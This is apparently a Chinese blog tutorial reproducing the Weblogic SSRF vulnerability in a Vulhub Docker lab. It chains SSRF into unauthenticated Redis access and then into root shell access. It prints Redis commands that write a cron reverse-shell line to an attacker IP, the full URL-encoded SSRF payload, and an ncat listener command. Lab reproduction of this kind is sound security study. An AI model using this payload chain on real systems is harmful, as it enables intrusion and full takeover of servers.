【漏洞复现】Weblogic SSRF漏洞复现

C语言专栏:C语言基本语法、基本操作、相关库函数的编写,相关内存分析
C++专栏:C++基本语法C++相关结构剖析,详细例题,相关小型Demo的编写
数据结构专栏:基本数据结构原理介绍,代码实现,相关Leetcode例题讲解剖析
漏洞复现专栏:相关漏洞的原理介绍,进行漏洞复现,对相关漏洞进行整体的把握与感知
干货满满,陆续更新ing

Weblogic SSRF漏洞复现

漏洞描述

Weblogic中存在SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中Redis、Fastcgi等脆弱组件。

Redis存在未授权访问漏洞,在访问redis数据库时,无需提供用户名及密码,且具备root权限读写文件。

漏洞原理

SSRF

服务端请求伪造(Server-Side Request Forgery),是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。

SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片、文档等等。

正常用户访问网站的流程是:

输入A网站URL --> 发送请求 --> A服务器接受请求(没有过滤)处理 -->返回用户响应

【网站有个请求是www.baidu,com/xxx.php?image=URL

安全的网站应接收请求后,检测请求的合法性

产生的原因:服务器端的验证并没有对其请求获取图片的参数(image=)做出严格的过滤以及限制,导致A网站可以从其他服务器的获取数据

例如:www.baidu.com/xxx.php?image=www.abc.com/1.jpg

如果将www.abd.com/1.jpg换为与该服务器相连的内网服务器地址

如果存在该内网地址就会返回1xx 2xx 3xx 4xx之类的状态码,不存在就会其他的状态码

SSRF漏洞就是通过篡改获取资源的请求发送给服务器,但是服务器并没有检测这个请求是否合法的,然后服务器以这个请求中的身份来访问其他服务器的资源。

Redis未授权访问

未授权访问漏洞可以理解为安全配置不当、在需要进行权限认证处未对当前用户进行权限识别,导致攻击者在没有获取到登录权限或未授权的情况下,对目标进行操作或者被信息泄露

Redis默认情况下,会绑定在0.0.0.0:6379,如果没有采用相关的策略,如配置防火墙规则避免其他非信任来源的IP访问,就会将Redis服务暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户可以访问目标服务器下未授权访问Redis以及读取Redis数据。

影响版本

Weblogic 10.0.2 – 10.3.6版本

漏洞环境

kali-docker:192.168.0.108

靶机(Ubuntu):192.168.0.109

Vulhub:weblogic从SSRF到Redis未授权访问到Getshell

Redis未授权访问:Redis数据库不需要用户名密码就可以访问数据库,具有root权限,可以读写文件

漏洞复现

SSRF漏洞探测

  • 切换到Vulhub/Weblogic/ssrf下,开启环境(需提前安装docker环境)
docker-compose build
docker-compose up -d

image-20220728111238348

  • 访问漏洞存在点http://192.168.0.109:7001/uddiexplorer

image-20220728122608063

  • 选择Search Public Registries,点击search,使用burp suite抓包

image-20220728122957103

  • 将URL中部分内容进行URL解码

image-20220728123228698

image-20220728161244405

  • Send,右击Response,点击Send to Comparer,返回Repeater,修改地址为www.baidu.com,Send,右击Response,点击Send to Comparer,Comparer中,words

image-20220728145827338

修改URL后,伪造服务器端请求资源,接收到response,存在SSRF漏洞

从SSRF利用到Redis未授权访问

  • 伪造服务器端发送请求,修改URL,探测内网,探测端口,如果指定端口开放则会返回带有404内容的提示(404:访问资源不存在,端口服务开放)

image-20220728150504841

  • 修改端口号,探测端口是否开放,未开放445端口

image-20220728150552671

  • 下一步可以根据该处的响应,来盲测其所在内网的IP地址。此时我们先测试一下靶机所配置的IP地址,将该请求体中的URL参数修改为http://192.168.0.108:7001,并点击发送,响应页面显示没有找到对应IP地址。这是因为该架构处于容器内,容器内属于一个局域网,192.168.0.0网段对于容器而言是其他局域网,由于没有对容器所对应的网关配置路由表,所以找不到该IP。

image-20220728162650261

  • 探测内网IP地址可使用字典进行内IP爆破,因此处使用docker容器环境,故查看Redis服务所在IP地址
# docker ps
# docker exec -it 3f3c5f3a0692 "/bin/bash"
# ifconfig
# ls -al /etc/crontab
-rw-r--r-- 1 root root 457 Sep 27  2011 /etc/crontab
# cp /etc/crontab /etc/crontab.bak
exit

image-20220728170832650

得到docker Redis地址为:172.19.0.2

  • 修改URL,Send,探测6379端口为开放,可能存在未授权访问

image-20220728174110714

从Redis未授权访问到Getshell

docker-weblogic-ssrf-Linux

  • crontab:计划任务
  • cat crontab
  • exit

进入kali,开启特定端口接收返回的shell

ncat -lvvp 777

image-20220728175857702

利用Redis未授权访问漏洞,反弹shell到kali终端

  1. 在任意时间以root将bash弹到后面这个IP的地址端口,需要接收端开启对应端口才能接收到。
  2. 设置目录
  3. 设置文件
  4. 将信息保存到对应的目录中
test
set 1 "\n\n\n\n* * * * * root bash -c sh -i >& /dev/tcp/192.168.0.108/777 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa

URL编码

http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.108%2F777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
  • 将上述编码添加到Repeater模块中,Send,成功Getshell

image-20220728180917844

image-20220728180943231

关闭靶场

docker-compose down

看到这里,如果感觉文章对你有帮助,不要忘记一键三连哦!

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Miraitowax

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值